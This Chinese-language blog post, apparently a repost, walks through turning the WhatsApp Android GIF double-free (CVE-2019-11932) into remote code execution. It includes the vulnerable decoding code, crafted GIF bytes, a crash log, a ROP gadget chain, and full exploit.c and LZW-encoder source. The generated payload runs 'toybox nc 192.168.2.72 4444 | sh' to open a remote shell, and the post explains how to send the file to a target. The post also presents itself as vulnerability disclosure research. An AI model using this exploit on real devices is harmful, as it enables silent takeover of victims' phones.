这篇文章给大家介绍如何将WhatsApp中的双重释放漏洞变成RCE漏洞,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
写在前面的话
我将跟大家讨论我在WhatsApp Android端应用程序中找到的一个双重释放漏洞(CVE-2019-11932),并且我会将该漏洞转变成一个远程代码执行漏洞。目前,我已经将漏洞信息上报给了Facebook,Facebook也在官方发布的WhatsApp v2.19.244中修复了该漏洞。
因此,我们建议广大用户尽快升级至最新版本的WhatsApp(v2.19.244及以上版本)以保护自己的安全。
演示样例
如果Google Drive主链无法访问的话,可以直接使用备用链接。
攻击(漏洞利用)场景复现步骤如下:
1、00:16,攻击者通过任意信道向目标用户发送了一个GIF文件,其中的一个就是通过WhatsApp发送的附件文件。比如说,点击“附件”按钮,选择GIF图片文件,然后点击发送。如果攻击者在目标用户的联系人列表中,那么目标用户的设备就会自动下载GIF,整个过程无需额外的用户交互。
2、00:24,目标用户想要给TA的WhatsApp好友发送一个多媒体文件,那么TA就会点击“附件”并打开设备的图片库,然后选择需要发送的多媒体文件。需要注意的是,目标用户一旦打开了WhatsApp图片库,便会触发该漏洞,而无需进行其他操作。
3、00:30,由于WhatsApp会显示所有多媒体文件的缩略图,此时将会触发双重释放漏洞并执行我们的RCE漏洞利用代码。
libpl_droidsonroids_gif库中的双重释放漏洞
当WhatsApp用户在WhatsApp中打开图片库并选取多媒体文件时,WhatsApp将会调用libpl_droidsonroids_gif.so原生库来对文件进行解析,并生成GIF文件的缩略图。libpl_droidsonroids_gif.so是一个开源代码库,源码可以点击【这里】获取。
一个GIF文件中可以包含多个编码帧,为了存储解码后的帧,WhatasApp图片库将使用名为rasterBits的缓冲区。如果所有帧的大小相同,rasterBits缓冲区则会被重复使用,无需重新分配。 但是如果满足以下三个条件中的一个,则仍会重新分配:
width height > originalWidth originalHeight
width – originalWidth > 0
height – originalHeight > 0
缓冲区重新分配需要使用到free和malloc函数,如果重新分配的帧尺寸为0,则会直接释放。假设有一个三帧的GIF文件,尺寸分别为100、0和0。那么:
1、第一次重新分配后,我们有大小为100的info-> rasterBits缓冲区。
2、第二次重新分配0时,则会释放info-> rasterBits缓冲区。
3、在第三次重新分配0时,再次释放info-> rasterBits缓冲区。
很明显,这就是双重释放漏洞的成因,触发位置在decoding.c中:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height;if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize;}
在Android中,如果对大小为N的内存进行双重释放,则会导致两个大小为N的内存被分配相同地址。
(lldb) expr int $foo = (int) malloc(112)(lldb) p/x $foo(int) $14 = 0xd379b250(lldb) p (int)free($foo)(int) $15 = 0(lldb) p (int)free($foo)(int) $16 = 0(lldb) p/x (int)malloc(12)(int) $17 = 0xd200c350(lldb) p/x (int)malloc(96)(int) $18 = 0xe272afc0(lldb) p/x (int)malloc(180)(int) $19 = 0xd37c30c0(lldb) p/x (int)malloc(112)(int) $20 = 0xd379b250(lldb) p/x (int)malloc(112)(int) $21 = 0xd379b250
上述代码段中,$foo被释放了两次,这将导致$20和$21返回相同的地址。
接下来,我们看看gif.h文件中的GifInfo结构体:
struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor;};
接下来,尝试构造下面尺寸的GIF文件(三帧):
sizeof(GifInfo),0,0
打开WhatsApp图片库之后,将触发rasterBits缓冲区上大小为sizeof(GifInfo)的双重释放。有趣的是,WhatsApp图片库中的GIF文件会被解析两次。当GIF文件再次被解析时,将创建一个GifInfo对象。根据Android中的双重释放漏洞特性,GifInfo info对象和info-> rasterBits会指向相同地址。然后,DDGifSlurp()函数将解码第一帧给info-> rasterBits缓冲区,这会覆盖掉info和它的rewindFunction()函数(该函数位于DDGifSlurp()的末尾处)。
控制PC寄存器
我们构造的GIF文件如下:
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
它包含以下四个帧:
Frame 1:
2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00F0 CE 57 2B 6F EE FF FF
Frame 2:
2C 00 00 00 00 1C 0F 00 00 00 00
Frame 3:
2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00
Frame 4:
2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00
WhatsApp图片库的多媒体文件解析流程如下:
第一次解析
初始化:
GifInfo *info = malloc(168);
Frame 1:
info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
Frame 2:
info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
Frame 3:
info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);
Frame 4:
主要负责让这个GIF文件生效。
第二次解析:
初始化:
GifInfo *info = malloc(168);
Frame 1:
info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);
Frame 2, 3, 4:
省略
End:
info->rewindFunction(info);
由于第一次解析中的双重释放问题,导致info和info-> rasterBits现指向相同位置。在第二次解析中,已按照预期处理第一帧。那么当info->rewindFunction(info)被调用时,我们就可以控制rewindFunction和PC了。需要注意,上面的这些帧过了LZW编码,并且必须使用LZW编码器来处理GIF图片帧。
这张GIF文件将导致应用崩溃:
--------- beginning of crash10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp)10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 1792810-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059)10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys'10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10'10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64'10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<<10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 000000000000000810-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 000000000000000110-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 000000000000460810-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f010-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae976010-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 000000006000000010-02 11:09:38.499 18071 18071 F DEBUG :10-02 11:09:38.499 18071 18071 F DEBUG : backtrace:10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120)10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012)10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000]10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc <unknown>
处理ASLR和W^X
拿到PC控制权之后,我们可以尝试实现RCE攻击。我们的目的是执行下列命令:
system("toybox nc 192.168.2.72 4444 | sh");
此时需要使用到libc.so中的system()函数,并将PC指向该函数,X0指向“ toybox nc 192.168.2.72 4444 | sh”。首先,让PC跳转到一个中间件,中间件需要设置X0来指向"toybox nc 192.168.2.72 4444 | sh"并跳转到system()。查看info->rewindFunction(info)的反汇编代码,可以看到X0和X19都指向了info-> rasterBits(或者说info,它们都指向相同的位置),而X8实际指向的是info-> rewindFunction。
libhwui.so中有一个中间件正好符合我们的条件:
ldr x8, [x19, #0x18]add x0, x19, #0x20blr x8
假设上面这个gatget地址为AAAAAAAA,而system()函数的地址为BBBBBBBB。那么在LZW编码之前,构造rasterBits缓冲区(帧1)的内容如下:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.1600000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000080: 4141 4141 4141 4141 eeff AAAAAAAA..
漏洞利用整合
大家可以直接下载并编译我提供的代码:【传送门】。
需要注意,system()的地址以及中间件必须使用实际地址进行替换:
/* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8); size_t system_loc = 0x7cb602ce84; <<-- replace thismemcpy(buffer + 24, &system_loc, 8);
运行代码,生成GIF文件:
notroot@osboxes:~/Desktop/gif$ make...............notroot@osboxes:~/Desktop/gif$ ./exploit exploit.gifbuffer = 0x7ffc586cd8b0 size = 26647 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CCFF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 0000 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 089C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40** C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A34 68 D0 00 C1 07 ** 1C 34 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 0000 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 0018 00 0A 00 0F 00 01 00 00 3B
复制上述代码到GIF文件中,然后将其以文档的形式发送给目标用户。需要注意的是,我们不能将其以媒体文件发送,否则WhatsApp会自动将其转换为MP4格式。目标用户收到GIF文件后,除非打开WhatsApp图片库,否则不会出现任何异常情况。
exploit.c代码
#include "gif_lib.h"#define ONE_BYTE_HEX_STRING_SIZE 3static inline voidget_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) { int i; unsigned int byte_no = 0; if (buf_len <= 0) { if (hex_len > 0) { hex_[0] = ''; } return; } if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1) return; do { for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) { snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff); hex_ += ONE_BYTE_HEX_STRING_SIZE; hex_len -=ONE_BYTE_HEX_STRING_SIZE; buf_len--; } if (buf_len > 1) { snprintf(hex_, hex_len, "n"); hex_ += 1; } } while ((buf_len) > 0 && (hex_len > 0));}int genLine_0(unsigned char *buffer) {/* 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. Over-write AAAAAAAA with address of gadget 1 Over-write BBBBBBBB with address of system() function Gadget 1 ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8*/ unsigned char hexData[138] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF }; memcpy(buffer, hexData, sizeof(hexData)); /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; memcpy(buffer + 128, &g1_loc, 8); size_t system_loc = 0x7cb602ce84; memcpy(buffer + 24, &system_loc, 8); char *command = "toybox nc 192.168.2.72 4444 | sh"; memcpy(buffer + 32, command, strlen(command)); return sizeof(hexData);};int main(int argc, char *argv[]) { GifFilePrivateType Private = { .Buf[0] = 0, .BitsPerPixel = 8, .ClearCode = 256, .EOFCode = 257, .RunningCode = 258, .RunningBits = 9, .MaxCode1 = 512, .CrntCode = FIRST_CODE, .CrntShiftState = 0, .CrntShiftDWord = 0, .PixelCount = 112, .OutBuf = { 0 }, .OutBufLen = 0 }; int size = 0; unsigned char buffer[1000] = { 0 }; unsigned char line[500] = { 0 }; int line_size = genLine_0(line); EGifCompressLine(&Private, line, line_size); unsigned char starting[48] = { 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08 }; unsigned char padding[2] = { 0xFF, 0xFF }; unsigned char ending[61] = { 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B }; // starting bytes memcpy(buffer + size, starting, sizeof(starting)); size += sizeof(starting); // size of encoded line + padding int tmp = Private.OutBufLen + sizeof(padding); buffer[size++] = tmp; // encoded-line bytes memcpy(buffer + size, Private.OutBuf, Private.OutBufLen); size += Private.OutBufLen; // padding bytes of 0xFFs to trigger info->rewind(info); memcpy(buffer + size, padding, sizeof(padding)); size += sizeof(padding); // ending bytes memcpy(buffer + size, ending, sizeof(ending)); size += sizeof(ending); char hex_dump[5000]; get_hex(buffer, size, hex_dump, 5000, 16); printf("buffer = %p size = %dn%sn", buffer, size, hex_dump);}egif_lib.c#include <stdlib.h>#include <stdio.h>#include <string.h>#include "gif_lib.h"static int EGifBufferedOutput(GifFilePrivateType *Private, int c) { Private->Buf[0] = 0; Private->Buf[++(Private->Buf[0])] = c; Private->OutBuf[Private->OutBufLen++] = c; return GIF_OK;}static int EGifCompressOutput(GifFilePrivateType *Private, const int Code){ int retval = GIF_OK; if (Code == FLUSH_OUTPUT) { while (Private->CrntShiftState > 0) { /* Get Rid of what is left in DWord, and flush it. */ if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR) retval = GIF_ERROR; Private->CrntShiftDWord >>= 8; Private->CrntShiftState -= 8; } Private->CrntShiftState = 0; /* For next time. */ if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) retval = GIF_ERROR; } else { Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState; Private->CrntShiftState += Private->RunningBits; while (Private->CrntShiftState >= 8) { /* Dump out full bytes: */ if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR) retval = GIF_ERROR; Private->CrntShiftDWord >>= 8; Private->CrntShiftState -= 8; } } /* If code cannt fit into RunningBits bits, must raise its size. Note */ /* however that codes above 4095 are used for special signaling. */ if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) { Private->MaxCode1 = 1 << ++Private->RunningBits; } return retval;}int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen){ int i = 0, CrntCode, NewCode; unsigned long NewKey; GifPixelType Pixel; if (Private->CrntCode == FIRST_CODE) /* Its first time! */ CrntCode = Line[i++]; else CrntCode = Private->CrntCode; /* Get last code in compression. */ while (i < LineLen) { /* Decode LineLen items. */ Pixel = Line[i++]; /* Get next pixel from stream. */ if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) { return GIF_ERROR; } CrntCode = Pixel; /* If however the HashTable if full, we send a clear first and * Clear the hash table. */ if (Private->RunningCode >= LZ_MAX_CODE) { /* Time to do some clearance: */ if (EGifCompressOutput(Private, Private->ClearCode) == GIF_ERROR) { return GIF_ERROR; } Private->RunningCode = Private->EOFCode + 1; Private->RunningBits = Private->BitsPerPixel + 1; Private->MaxCode1 = 1 << Private->RunningBits; } } /* Preserve the current state of the compression algorithm: */ Private->CrntCode = CrntCode; if (Private->PixelCount == 0) { /* We are done - output last Code and flush output buffers: */ if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) { return GIF_ERROR; } if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) { return GIF_ERROR; } if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) { return GIF_ERROR; } } return GIF_OK;}
关于如何将WhatsApp中的双重释放漏洞变成RCE漏洞就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
原创文章,作者:745907710,如若转载,请注明出处:https://blog.ytso.com/222098.html